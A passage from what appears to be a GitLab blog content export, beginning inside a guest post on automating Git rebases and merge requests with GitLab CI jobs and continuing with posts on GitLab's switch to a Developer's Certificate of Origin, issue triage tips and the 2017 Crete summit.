essentially;\n\n```\nstages:\n  - build\n  - git-robot\n\n... build jobs ...\n\ngit-rebase-ts:\n  stage: git-robot\n  only:\n    - master\n  allow_failure: true\n  before_script:\n    - 'which ssh-agent || ( apt-get update -y && apt-get install openssh-client -y )'\n    - eval $(ssh-agent -s)\n    - ssh-add \u003C(echo \"$GIT_SSH_PRIV_KEY\")\n    - git config --global user.email \"kll@dev.terastrm.net\"\n    - git config --global user.name \"Mr. Robot\"\n    - mkdir -p ~/.ssh\n    - cat gitlab-known-hosts >> ~/.ssh/known_hosts\n  script:\n    - git clone git@gitlab.dev.terastrm.net:${CI_PROJECT_PATH}.git\n    - cd ${CI_PROJECT_NAME}\n    - git checkout ts\n    - git rebase master\n    - git push --force origin ts\n  ```\n\nWe’ll go through the Yaml file a few lines at a time. Some basic knowledge about GitLab CI is assumed.\n\nThis first part lists the stages of our pipeline.\n\n```\nstages:\n  - build\n  - git-robot\n  ```\n\nWe have two stages, first the `build` stage, which does whatever you want it to\ndo (ours compiles stuff, runs a few unit tests and packages it all up), then the\n`git-robot` stage which is where we perform the rebase.\n\nThen there’s:\n\n```\ngit-rebase-ts:\n  stage: git-robot\n  only:\n    - master\n  allow_failure: true\n  ```\n\nWe define the stage in which we run followed by the only statement which limits\nCI jobs to run only on the specified branch(es), in this case `master`.\n\n`allow_failure` simply allows the CI job to fail but still passing the pipeline.\n\nSince we are going to clone a copy of ourselves (the repository checked out in\nCI) we need SSH and SSH keys set up. We’ll use ssh-agent with a password-less key\nto authenticate. Generate a key using ssh-keygen, for example:\n\n```\nssh-keygen\n\nkll@machine ~ $ ssh-keygen -f foo\nGenerating public/private rsa key pair.\nEnter passphrase (empty for no passphrase):\nEnter same passphrase again:\nYour identification has been saved in foo.\nYour public key has been saved in foo.pub.\nThe key fingerprint is:\nSHA256:6s15MZJ1/kUsDU/PF2WwRGA963m6ZSwHvEJJdsRzmaA kll@machine\nThe key's randomart image is:\n+---[RSA 2048]----+\n|            o**.*|\n|           ..o**o|\n|           Eo o%o|\n|          .o.+o O|\n|        So oo.o+.|\n|       .o o.. o+o|\n|      .  . o..o+=|\n|     . o ..  .o= |\n|      . +.    .. |\n+----[SHA256]-----+\nkll@machine ~ $\n```\n\nAdd the public key as a deploy key under Project Settings\n\u003Ci class=\"fas fa-arrow-right\" aria-hidden=\"true\">\u003C/i> Repository \u003Ci class=\"fas fa-arrow-right\" aria-hidden=\"true\">\u003C/i>\nDeploy Keys. Make sure you enable write access or you won’t be able to have your\nGit robot push commits. We then need to hand over the private key so that it can\nbe accessed from within the CI job. We’ll use a secret environment variable for\nthat, which you can define under Project Settings\n\u003Ci class=\"fas fa-arrow-right\" aria-hidden=\"true\">\u003C/i> Pipelines \u003Ci class=\"fas fa-arrow-right\" aria-hidden=\"true\">\u003C/i>\nEnvironment variables). I’ll use the environment variable GIT_SSH_PRIV_KEY for this.\n\nNext part is the before_script:\n\n```\n  before_script:\n    - 'which ssh-agent || ( apt-get update -y && apt-get install openssh-client -y )'\n    - eval $(ssh-agent -s)\n    - ssh-add \u003C(echo \"$GIT_SSH_PRIV_KEY\")\n    - git config --global user.email \"kll@dev.terastrm.net\"\n    - git config --global user.name \"Mr. Robot\"\n    - mkdir -p ~/.ssh\n    - cat gitlab-known-hosts >> ~/.ssh/known_hosts\n  ```\n\nFirst ssh-agent is installed if it isn’t already. We then start up ssh-agent and\nadd the key stored in the environment variable GIT_SSH_PRIV_KEY (which we set up\npreviously). The Git user information is set and we finally create .ssh and add\nthe known host information about our GitLab server to our known_hosts file. You\ncan generate the gitlab-known-hosts file using the following command:\n\n```\nssh-keyscan my-gitlab-machine >> gitlab-known-hosts\n```\n\nAs the name implies, the before_script is run before the main `script` part and\nthe ssh-agent we started in the before_script will also continue to run for the\nduration of the job. The ssh-agent information is stored in some environment\nvariables which are carried across from the before_script into the main script,\nenabling it to work. It’s also possible to put this SSH setup in the main script,\nI just thought it looked cleaner splitting it up between before_script and script.\nNote however that it appears that after_script behaves differently so while it’s\npossible to pass environment vars from before_script to script, they do not\nappear to be passed to after_script. Thus, if you want to do Git magic in the\nafter_script you also need to perform the SSH setup in the after_script.\n\nThis brings us to the main script. In GitLab CI we already have a checked-out\nclone of our project but that was automatically checked out by the CI system\nthrough the use of magic (it actually happens in a container previous to the one\nwe are operating in, that has some special credentials) so we can’t really use\nit, besides, checking out other branches and stuff would be really weird as it\ndisrupts the code we are using to do this, since that’s available in the Git\nrepository that’s checked out. It’s all rather meta.\n\nAnyway, we’ll be checking out a new Git repository where we’ll do our work, then\nchange the current directory to the newly checked-out repository, after which\nwe’ll check out the `ts` branch, do the rebase and push it back to the origin remote.\n\n```\n    - git clone git@gitlab.dev.terastrm.net:${CI_PROJECT_PATH}.git\n    - cd ${CI_PROJECT_NAME}\n    - git checkout ts\n    - git rebase master\n    - git push --force origin ts\n  ```\n\n… and that’s it. We’ve now automated the rebasing of a branch in our config file. Occasionally it\nwill fail due to problems rebasing (most commonly merge conflicts) but then you\ncan just step in and do the above steps manually and be interactively prompted\non how to handle conflicts.\n\n## Automatic merge requests\n\nAll the repositories I mentioned in the previous section are NEDs, a form of\ndriver for how to communicate with a certain type of device, for Cisco NSO (a\nnetwork orchestration system). We package up Cisco NSO, together with these NEDs\nand our own service code, in a container image. The build of that image is\nperformed in CI and we use a repository called `nso-ts` to control that work.\n\nThe NEDs are compiled in CI from their own repository and the binaries are saved\nas build artifacts. Those artifacts can then be pulled in the CI build of `nso-ts`.\nThe reference to which artifact to include is the name of the NED as well as the\nbuild version. The version number of the NED is nothing more than the pipeline\nid (which you’ll access in CI as ${CI_PIPELINE_ID}) and by including a specific\nversion of the NED, rather than just use “latest” we gain a much more consistent\nand reproducible build.\n\nWhenever a NED is updated a new build is run that produces new binary artifacts.\nWe probably want to use the new version but not before we test it out in CI. The\nactual versions of NEDs to use is stored in a file in the `nso-ts` repository and\nfollows a simple format, like this:\n\n```\nned-iosxr-yang=1234\nned-junos-yang=4567\n...\n```\n\nThus, updating the version to use is a simple job to just rewrite this text file\nand replace the version number with a given CI_PIPELINE_ID version number. Again,\nwhile NED updates are more seldom than updates to `nso-ts`, they do occur and\nhandling it is bloody boring. Enter automation!\n\n```\ngit-open-mr:\n  image: gitlab.dev.terastrm.net:4567/terastream/cisco-nso/ci-cisco-nso:4.2.3\n  stage: git-robot\n  only:\n    - ts\n  tags:\n    - no-docker\n  allow_failure: true\n  before_script:\n    - 'which ssh-agent || ( apt-get update -y && apt-get install openssh-client -y )'\n    - eval $(ssh-agent -s)\n    - ssh-add \u003C(echo \"$GIT_SSH_PRIV_KEY\")\n    - git config --global user.email \"kll@dev.terastrm.net\"\n    - git config --global user.name \"Mr. Robot\"\n    - mkdir -p ~/.ssh\n    - cat gitlab-known-hosts >> ~/.ssh/known_hosts\n  script:\n    - git clone git@gitlab.dev.terastrm.net:TeraStream/nso-ts.git\n    - cd nso-ts\n    - git checkout -b robot-update-${CI_PROJECT_NAME}-${CI_PIPELINE_ID}\n    - for LIST_FILE in $(ls ../ned-package-list.* | xargs -n1 basename); do NED_BUILD=$(cat ../${LIST_FILE}); sed -i packages/${LIST_FILE} -e \"s/^${CI_PROJECT_NAME}.*/${CI_PROJECT_NAME}=${NED_BUILD}/\"; done\n    - git diff\n    - git commit -a -m \"Use ${CI_PROJECT_NAME} artifacts from pipeline ${CI_PIPELINE_ID}\"\n    - git push origin robot-update-${CI_PROJECT_NAME}-${CI_PIPELINE_ID}\n    - HOST=${CI_PROJECT_URL} CI_COMMIT_REF_NAME=robot-update-${CI_PROJECT_NAME}-${CI_PIPELINE_ID} CI_PROJECT_NAME=TeraStream/nso-ts GITLAB_USER_ID=${GITLAB_USER_ID} PRIVATE_TOKEN=${PRIVATE_TOKEN} ../open-mr.sh\n```\n\nSo this time around we check out a Git repository into a separate working\ndirectory again, it’s just that it’s not the same Git repository as we are\nrunning on simply because we are trying to do changes to a repository that is\nusing the output of the repository we are running on. It doesn’t make much of a\ndifference in terms of our process. At the end, once we’ve modified the files we\nare interested in, we also open up a merge request on the target repository.\nHere we can see the MR (which is merged already) to use a new version of the\nNED `ned-snabbaftr-yang`.\n\n\u003Cimg src=\"/images/blogimages/gitbot-ned-update-mr.png\" alt=\"MR using new version of NED\" style=\"width: 700px;\"/>{: .shadow}\n\nWhat we end up with is that whenever there is a new version of a NED, a single merge\nrequest is opened on our `nso-ts` repository to start using the new NED. That\nmerge request is using changes on a new branch and CI will obviously run for\n`nso-ts` on this new branch, which will then test all of our code using the new\nversion of the NED. We get a form of version pinning, with the form of explicit\nchanges that it entails, yet it’s a rather convenient and non-cumbersome\nenvironment to work with thanks to all the automation.\n\n## Getting fancy\n\nWhile automatically opening an MR is sweet… we can do ~~better~~fancier. Our `nso-ts`\nrepository is based on Cisco NSO (Tail-F NCS), or actually the `nso-ts` Docker\nimage is based on a `cisco-nso` Docker image that we build in a separate\nrepository. We put the version of NSO as the tag of the `cisco-nso` Docker\nimage, so `cisco-nso:4.2.3` means Cisco NSO 4.2.3. This is what the `nso-ts`\nDockerfile will use in its `FROM` line.\n\nUpgrading to a new version of NCS is thus just a matter of rewriting the tag…\nbut what version of NCS should we use? There’s 4.2.4, 4.3.3, 4.4.2 and 4.4.3\navailable and I’m sure there’s some other version that will pop up its evil\nhead soon enough. How do I know which version to pick? And will our current code\nwork with the new version?\n\nTo help myself in the choice of NCS version I implemented a script that gets the\nREADME file of a new NCS version and cross references the list of fixed issues\nwith the issues that we currently have open in the Tail-F issue tracker. The\noutput of this is included in the merge request description so when I look at\nthe merge request I immediately know what bugs are fixed or new features are\nimplemented by moving to a specific version. Having this automatically generated\nfor us is… well, it’s just damn convenient. Together with actually testing our\ncode with the new version of NCS gives us confidence that an upgrade will be smooth.\n\nHere are the merge requests currently opened by our GitBot:\n\n\u003Cimg src=\"/images/blogimages/automate-git-merge-requests.png\" alt=\"Merge requests automated by Git bot\" style=\"width: 700px;\"/>{: .shadow}\n\nWe can see how the system have generated MRs to move to all the different\nversions of NSO currently available. As we are currently on NSO v4.2.3 there’s\nno underlying branch for that one leading to an errored build. For the other\nversions though, there is a branch per version that executes the CI pipeline to\nmake sure all our code runs with this version of NSO.\n\nAs there have been a few commits today, these branches are behind by six commits\nbut will be rebased this night so we get an up-to-date picture if they work or\nnot with our latest code.\n\n\u003Cimg src=\"/images/blogimages/automate-git-commits.png\" alt=\"Commits\" style=\"width: 700px;\"/>{: .shadow}\n\nIf we go back and look at one of these merge requests, we can see how the\ndescription includes information about what issues that we currently have open\nwith Cisco / Tail-F would be solved by moving to this version.\n\n\u003Cimg src=\"/images/blogimages/automate-git-mr-description.png\" alt=\"Merge request descriptions\" style=\"width: 700px;\"/>{: .shadow}\n\nThis is from v4.2.4 and as we are currently on v4.2.3 we can see that there are\nonly a few fixed issues.\n\nIf we instead look at v4.4.3 we can see that the list is significantly longer.\n\n\u003Cimg src=\"/images/blogimages/automate-git-mr-description-list.png\" alt=\"Merge request descriptions\" style=\"width: 700px;\"/>{: .shadow}\n\nPretty sweet, huh? :)\n\nAs this involves a bit more code I’ve put the relevant files in a [GitHub gist](https://gist.github.com/plajjan/42592665afd5ae045ee36220e19919aa).\n\n## This is the end\n\nIf you are reading this, chances are you already have your reasons for why you\nwant to automate some Git operations. Hopefully I’ve provided some inspiration\nfor how to do it.\n\nIf not or if you just want to discuss the topic in general or have more specific\nquestions about our setup, please do reach out to me on [Twitter](https://twitter.com/plajjan).\n\n_[This post](http://plajjan.github.io/automating-git/) was originally published on [plajjan.github.io](http://plajjan.github.io/)._\n\n## About the Guest Author\n\nKristian Larsson is a network automation systems architect at Deutsche Telekom.\nHe is working on automating virtually all aspects of running TeraStream, the\ndesign for Deutsche Telekom's next generation fixed network, using robust and\nfault tolerant software. He is active in the IETF as well as being a\nrepresenting member in OpenConfig. Previous to joining Deutsche Telekom,\nKristian was the IP & opto network architect for Tele2's international backbone\nnetwork.\n\n\"[BB-8 in action](https://unsplash.com/photos/C8VWyZhcIIU) by [Joseph Chan](https://unsplash.com/@yulokchan) on Unsplash\n{: .note}\n",[110,4772,1067],{"slug":34635,"featured":6,"template":678},"automating-boring-git-operations-gitlab-ci","content:en-us:blog:automating-boring-git-operations-gitlab-ci.yml","Automating Boring Git Operations Gitlab Ci","en-us/blog/automating-boring-git-operations-gitlab-ci.yml","en-us/blog/automating-boring-git-operations-gitlab-ci",{"_path":34641,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34642,"content":34647,"config":34652,"_id":34654,"_type":16,"title":34655,"_source":17,"_file":34656,"_stem":34657,"_extension":20},"/en-us/blog/gitlab-switches-to-dco-license",{"title":34643,"description":34644,"ogTitle":34643,"ogDescription":34644,"noIndex":6,"ogImage":29927,"ogUrl":34645,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34645,"schema":34646},"We're switching to a DCO for source code contributions","We want to make it even easier for everyone to contribute, by doing away with our Contributor License Agreement in favor of the Developer's Certificate of Origin.","https://about.gitlab.com/blog/gitlab-switches-to-dco-license","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We're switching to a DCO for source code contributions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jamie Hurewitz\"}],\n        \"datePublished\": \"2017-11-01\",\n      }",{"title":34643,"description":34644,"authors":34648,"heroImage":29927,"date":34649,"body":34650,"category":299,"tags":34651},[34347],"2017-11-01","\n\nWe're committed to being [good stewards of open source](/blog/being-a-good-open-source-steward/),\nand part of that commitment means we never stop re-evaluating how we do that.\nSaying \"everyone can contribute\" is about removing barriers to contribution.\nFor some of our community, the Contributor License Agreement is a deterrent to\ncontributing to GitLab, so we're changing to a Developer's Certificate of Origin instead.\n\n\u003C!-- more -->\n\nMany large open source projects want to be masters of their own destiny.\nHaving the freedom to run your own infrastructure based on open source software,\ntogether with the ability to modify and audit source code and not be dependent\non a vendor, makes open source appealing. We want GitLab to be an option for everyone.\n\n## Why the change?\n\nA Contributor License Agreement (CLA) is the industry standard for open source\ncontributions to other projects, but it's unpopular with developers, who don't\nwant to enter into legal terms and are put off by having to review a lengthy\ncontract and potentially give up some of their rights. Contributors find the\nagreement unnecessarily restrictive, and it's deterring developers of open\nsource projects from using GitLab. We were approached by Debian developers to\nconsider dropping the CLA, and that's what we're doing.\n\n## What's changing?\n\nAs of today, we're rolling out changes so that contributors to the GitLab [source\ncode](/solutions/source-code-management/) will only be required to make contributions and bug fixes under a project\nlicense (MIT for all repositories with the exception of Omnibus which would be\nlicensed under Apache) and a [Developer's Certificate of Origin](https://developercertificate.org/) (DCO).\nThe DCO gives developers greater flexibility and portability for their\ncontributions, and it's one of the reasons that Debian and GNOME plan to migrate\ntheir communities and projects to GitLab. We hope this change\nencourages more developers to contribute to GitLab. Thank you Debian, for\nprompting us to make this change.\n\n> \"We applaud GitLab for dropping their CLA in favor of a more OSS-friendly\napproach. Open source communities are born from a sea of contributions that come\ntogether and transform into projects. This gesture affirmed GitLab's willingness\nto protect the individual, their creative process, and most importantly, keeps\nintellectual property in the hands of the creator.\" - Carlos Soriano, Board Director at GNOME\n\n>\"We’re thrilled to see GitLab simplifying and encouraging community\ncontributions by switching from a CLA to the DCO. We recognize that making a\nchange of this nature is not easy and we applaud the time, patience and\nthoughtful consideration GitLab has shown here.\" - Chris Lamb, Debian Project Leader\n\nYou can [read the analysis that informed our decision](https://docs.google.com/a/gitlab.com/document/d/1zpjDzL7yhGBZz3_7jCjWLfRQ1Jryg1mlIVmG8y6B1_Q/edit?usp=sharing).\nRead all about our [stewardship of GitLab Community Edition](/company/stewardship/).\n",[815,736,267],{"slug":34653,"featured":6,"template":678},"gitlab-switches-to-dco-license","content:en-us:blog:gitlab-switches-to-dco-license.yml","Gitlab Switches To Dco License","en-us/blog/gitlab-switches-to-dco-license.yml","en-us/blog/gitlab-switches-to-dco-license",{"_path":34659,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34660,"content":34665,"config":34672,"_id":34674,"_type":16,"title":34675,"_source":17,"_file":34676,"_stem":34677,"_extension":20},"/en-us/blog/triage-issues-gitmate",{"title":34661,"description":34662,"ogTitle":34661,"ogDescription":34662,"noIndex":6,"ogImage":29290,"ogUrl":34663,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34663,"schema":34664},"Triage issues in 7 simple steps","Guest authors Lasse Shuirmann and Sebastian Latacz walk us through how to work through your issue backlog and triage effectively.","https://about.gitlab.com/blog/triage-issues-gitmate","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Triage issues in 7 simple steps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sebastian Latacz\"},{\"@type\":\"Person\",\"name\":\"Lasse Schuirmann\"}],\n        \"datePublished\": \"2017-10-26\",\n      }",{"title":34661,"description":34662,"authors":34666,"heroImage":29290,"date":34669,"body":34670,"category":6634,"tags":34671},[34667,34668],"Sebastian Latacz","Lasse Schuirmann","2017-10-26","\n\nActively triaging issues is crucial for keeping an overview on your repository, yet it’s tedious and takes up valuable developer hours. That’s why we summarized seven simple steps to help you triage efficiently.\n\n\u003C!-- more -->\n\n## Preparation\n\nThere are three types of issues: questions, bug reports, and feature requests. Define which you want to tackle in your tracker and which you handle elsewhere (you can use different [GitLab Issue Boards](/stages-devops-lifecycle/issueboard/) to help keep different types of issues together). Once this has been done, check each issue with the following scheme:\n\n## 1. Filter noise\n\nCheck whether the issue is the type you want in your tracker (as defined in the preparation phase). If not, point the user to the right place or move it to the relevant [issue board](/stages-devops-lifecycle/issueboard/) yourself. For example, indicate that questions will be answered on Stack Overflow or feature requests are best being posted for discussion in the Slack channel. Be friendly; remember the user just provided valuable feedback. Close the issue once you’ve pointed the user to the right place.\n\n## 2. Look for similars\n\nOftentimes work related to existing issues already exists. Searching your issue tracker for related keywords can bring up a lot of similar issues that can be helpful. Reference the existing issues in the new one.\n\n## 3. Look for duplicates\n\nWhile you are researching similar topics you might find or remember duplicate issues as well – in that case simply close those (or the new issue) and streamline your efforts in one place.\n\n## 4. Retrieve missing information\n\nIssues are often reported incomplete; critical information like a version number is not given and it turns out that a bug occurred in an unsupported version – ask people for missing information and close issues if that is not provided.\n\n## 5. Label\n\nLabel issues so you can find those which are relevant for a particular topic with a filter. Also set labels for states of an issue. For example, putting a `needs-info` label on an issue prevents other people from wasting their time on it.\n\n## 6. Ping related devs\n\nEspecially for bigger changes or if it's not obvious how to tackle an issue, you will want to cc developers who are knowledgeable in the area. This can prevent you from running against three walls after each other and make sure all related efforts are coordinated properly.\n\n## 7. Handle stale issues\n\nEvery issue has to die. If you're thinking about closing an issue you should probably close it. Also close issues where you have been waiting for an answer for more than 30 days. Be friendly while doing so. The user can always reopen it if needed. This will prevent your tracker from cluttering.\n\nUpdate 2020-06-29: This post originally included information about automating issue triage using GitMate.io. Please note that GitMate.io was deprecated in January 2019 and references to the project have therefore been removed.\n{: .alert .alert-info}\n\nPhoto by [Daniele Levis Pelusi](https://unsplash.com/photos/Pp9qkEV_xPk?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/automation?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[1444,232],{"slug":34673,"featured":6,"template":678},"triage-issues-gitmate","content:en-us:blog:triage-issues-gitmate.yml","Triage Issues Gitmate","en-us/blog/triage-issues-gitmate.yml","en-us/blog/triage-issues-gitmate",{"_path":34679,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34680,"content":34686,"config":34691,"_id":34693,"_type":16,"title":34694,"_source":17,"_file":34695,"_stem":34696,"_extension":20},"/en-us/blog/gitlab-summit-greece-recap",{"title":34681,"description":34682,"ogTitle":34681,"ogDescription":34682,"noIndex":6,"ogImage":34683,"ogUrl":34684,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34684,"schema":34685},"αντίο (Goodbye) and thanks for a great GitLab summit – Crete edition","That's a wrap! Check out the keynote from our summit in Greece below.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671644/Blog/Hero%20Images/gitlab-summit-crete.jpg","https://about.gitlab.com/blog/gitlab-summit-greece-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"αντίο (Goodbye) and thanks for a great GitLab summit – Crete edition\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2017-10-25\",\n      }",{"title":34681,"description":34682,"authors":34687,"heroImage":34683,"date":34688,"body":34689,"category":299,"tags":34690},[28961],"2017-10-25","\n\nFor the past week, around 250 GitLab team-members and significant others gathered in Crete, Greece\nto achieve one simple goal: **get to know each other!** As a remote-only company, we\ndon't often meet face to face, so our [summits](/events/gitlab-contribute/) are an extraordinary occasion. This year, in the spirit of \"everyone can contribute,\" we tried something new.\nWe decided to live stream from 9am to 9pm in an effort to bring the summit experience\ndirectly to you, wherever you are.\n\n\u003C!-- more -->\n\n## Highlights\n\nOver the course of the week, we accomplished a lot! Team members from over 30\ndifferent countries had the chance to work creatively with people outside of their\ncore team during the Amazing Race, mingle on the beautiful island of Santorini,\nand explore the ancient ruins of the Knossos Palace.\n\n### Summit challenges\n\n[In keeping with tradition from past summits](https://www.youtube.com/watch?time_continue=1&v=39chczWRKws),\nSid also had a couple of work-related challenges for the team. If we completed the challenges\nby the end of the week, he would perform a GitLab song.\n\n![summit challenges slide](https://about.gitlab.com/images/blogimages/summit-challenges-slide.jpg)\n\nWe managed to complete all of our challenges and at the closing Toga Party, Sid and Karen delighted us with a GitLab song to the tune\nof *[I'm Gonna Be (500 Miles)](https://www.youtube.com/watch?v=tbNlMtqrYS0)* \u003Ci class=\"fas fa-microphone\" aria-hidden=\"true\">\u003C/i>\n\nAnd the best part is that we were able to share this in real time with contributors from around the world. It was our vision to make the summit `read-write`, so that even if you weren't with us in Greece, you could\nstill participate and contribute. Thanks to everyone who joined in, sent in questions and comments, and for a while made the planet feel a little smaller.\n\n### Keynote with CEO Sid Sijbrandij\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/AopRnEbvgzE?start=3925\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\n#### Keynote slides\n\n\u003Ciframe src=\"https://docs.google.com/presentation/d/e/2PACX-1vQA5srWjTIMmNHR3vWITDXlHj3iBSwxaTVLc_haoDZoBiH6XnGn_JdbR11A1YVOBd_mdcMZnxG_5yDS/embed?start=false&loop=false&delayms=3000\" frameborder=\"0\" width=\"1280\" height=\"749\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\">\u003C/iframe>\n\nThanks everyone for participating! See you next time 😎\n",[3798,676],{"slug":34692,"featured":6,"template":678},"gitlab-summit-greece-recap","content:en-us:blog:gitlab-summit-greece-recap.yml","Gitlab Summit Greece Recap","en-us/blog/gitlab-summit-greece-recap.yml","en-us/blog/gitlab-summit-greece-recap",{"_path":34698,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34699,"content":34705,"config":34710,"_id":34712,"_type":16,"title":34713,"_source":17,"_file":34714,"_stem":34715,"_extension":20},"/en-us/blog/watch-the-gitlab-summit-from-your-desk",{"title":34700,"description":34701,"ogTitle":34700,"ogDescription":34701,"noIndex":6,"ogImage":34702,"ogUrl":34703,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34703,"schema":34704},"We're coming to you live from Crete, at the GitLab Summit!","Read on for all the events you can watch and participate in.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680330/Blog/Hero%20Images/greece-summit-2017.png","https://about.gitlab.com/blog/watch-the-gitlab-summit-from-your-desk","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We're coming to you live from Crete, at the GitLab Summit!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2017-10-17\",\n      }",{"title":34700,"description":34701,"authors":34706,"heroImage":34702,"date":34707,"body":34708,"category":299,"tags":34709},[22017],"2017-10-17","\n\nIt's that time again! Every nine months, our entire remote workforce descends on one location for the [GitLab Summit](/events/gitlab-contribute/). This year, we'll be in Crete, and you're invited!\n\n\u003C!-- more -->\n\nBefore you go off and buy a plane ticket, we should clarify that there probably isn't room for all of you on the island. But we're trying something new this Summit — we're live streaming every day to bring the experience to as many of our remote friends as possible.\n\n## Watch\n\nWe'll be streaming on [YouTube](https://rebrand.ly/gitlab-summit-stream). You can watch [Sid](/company/team/#sytses) and [Dmitriy](/company/team/#dzaporozhets)'s keynotes, our Santorini trip, [GitLab team-member-led user generated content (UGC) sessions](https://docs.google.com/forms/d/e/1FAIpQLSf9PSEMkxdlYQnAmDcXvsqeeXe-O1kRECZopG9nmwfn_O5qgA/viewform), the 10.1 release, and our final party can all be viewed in one place.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/95FuYdcziLQ\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\n## Schedule\n\nWe'll likely make some changes to this schedule as we close in on kickoff, so please keep in mind it's a WIP!\n\n#### [Thursday, October 19](https://www.youtube.com/watch?v=3EegHi0fdPQ)\n\nWatch Thursday's live stream [here](https://www.youtube.com/watch?v=3EegHi0fdPQ)\n\n* 10am-6pm UTC - Arrivals and getting to know GitLab team-members\n\n#### [Friday, October 20](https://www.youtube.com/watch?v=AopRnEbvgzE)\n\nWatch Friday's live stream [here](https://youtu.be/AopRnEbvgzE)\n\n* 7am UTC - Welcome & keynote with GitLab CEO Sid Sijbrandij ([@sytses](https://twitter.com/sytses))\n* 8am UTC - AMA with GitLab CEO Sid Sijbrandij (chat your questions here or on Twitter using #GitLabSummit)\n* 9am UTC - Eat lunch with us!\n* 10am UTC - Join us live for our Amazing Race challenge\n* 12pm UTC - How GitLab Started keynote with CTO & Co-founder Dmitriy Zaporozhets ([@dzaporozhets](https://twitter.com/dzaporozhets);chat your questions on YouTube or on Twitter using #GitLabSummit)\n* 1:15pm UTC - Award Ceremony and Happy Hour\n* 3pm UTC - GitLab BBQ\n\n#### Saturday, October 21\n\n**Due to WIFI issues, we were not able to live stream Saturday's events. However,\nwe'll be showing re-runs and highlight footage during [Sunday's stream](https://www.youtube.com/watch?v=95FuYdcziLQ).**\n\n* 4am - 5pm UTC Day trip to Santorini\n* 5:15 pm UTC - Join us for dinner and hallway conversations\n\n#### [Sunday, October 22](https://www.youtube.com/watch?v=95FuYdcziLQ)\n* 6-7am UTC - AMAs - Send us your questions ahead of time on Twitter with #GitLabSummit\n * 6-6:15am Mark Pundsack (@MarkPundsack), Head of Product\n * 6:15-6:30am Barbie Graver (@BarbieGraver), Chief Culture Officer\n * 6:30-6:45am Sarrah Vesselov (@SVesselov), UX Lead\n* 7am UTC - Chat with our developers and engineers as they release GitLab 10.1\n* 9am-3pm UTC - Day trip to Heraklion\n\n#### [Monday, October 23](https://www.youtube.com/watch?v=7r9mo-QwBbM)\n\n[Vote for the UGC Sessions you want to see on the live stream!](https://docs.google.com/forms/d/e/1FAIpQLSf9PSEMkxdlYQnAmDcXvsqeeXe-O1kRECZopG9nmwfn_O5qgA/viewform)\n\n* 6-11am UTC - Send us your questions to have them answered live\n* 11am UTC - UGC Session 1\n* 12pm UTC - UGC Session 2\n* 1pm UTC - UGC Session 3\n* 2pm UTC - UGC Session 4\n* 3pm UTC - Join us for dinner\n* 5pm UTC - Join us for Game Night and a Gitter AMA\n\n#### [Tuesday, October 24](https://www.youtube.com/watch?v=LRpkLBWA_sI)\n\n[Vote for the UGC Sessions you want to see on the live stream!](https://docs.google.com/forms/d/e/1FAIpQLSf9PSEMkxdlYQnAmDcXvsqeeXe-O1kRECZopG9nmwfn_O5qgA/viewform)\n\n* 6-11am UTC Send us your questions to have them answered live\n* 11am UTC - UGC Session 1\n* 12pm UTC - UGC Session 2\n* 1pm UTC - UGC Session 3\n* 2pm UTC - UGC Session 4\n* 3pm UTC - Join us for dinner\n* 5pm UTC - Join the Toga Party!\n\n## Get involved\n\nWe want to see you there! [Tweet us](https://twitter.com/gitlab) using #GitLabSummit to let us know your questions and comments. We'll be giving away limited edition swag to people who chime in and ask questions on social, and we'll also poll you to ask which UGC sessions you want live streamed. We're so excited to share the Summit with our community for the first time, and we hope you'll join us!\n\nRead more about our company values in our [open source](/blog/our-handbook-is-open-source-heres-why/) [handbook](https://handbook.gitlab.com/handbook/values/), licensed by [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/).\n",[3798,676],{"slug":34711,"featured":6,"template":678},"watch-the-gitlab-summit-from-your-desk","content:en-us:blog:watch-the-gitlab-summit-from-your-desk.yml","Watch The Gitlab Summit From Your Desk","en-us/blog/watch-the-gitlab-summit-from-your-desk.yml","en-us/blog/watch-the-gitlab-summit-from-your-desk",{"_path":34717,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34718,"content":34724,"config":34730,"_id":34732,"_type":16,"title":34733,"_source":17,"_file":34734,"_stem":34735,"_extension":20},"/en-us/blog/how-to-spot-development-issues",{"title":34719,"description":34720,"ogTitle":34719,"ogDescription":34720,"noIndex":6,"ogImage":34721,"ogUrl":34722,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34722,"schema":34723},"How to spot development issues and fix them fast","Guest author Patrick Foster shares how to get things back on track when a development project starts to go awry.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680343/Blog/Hero%20Images/spot-dev-issues.jpg","https://about.gitlab.com/blog/how-to-spot-development-issues","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to spot development issues and fix them fast\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick 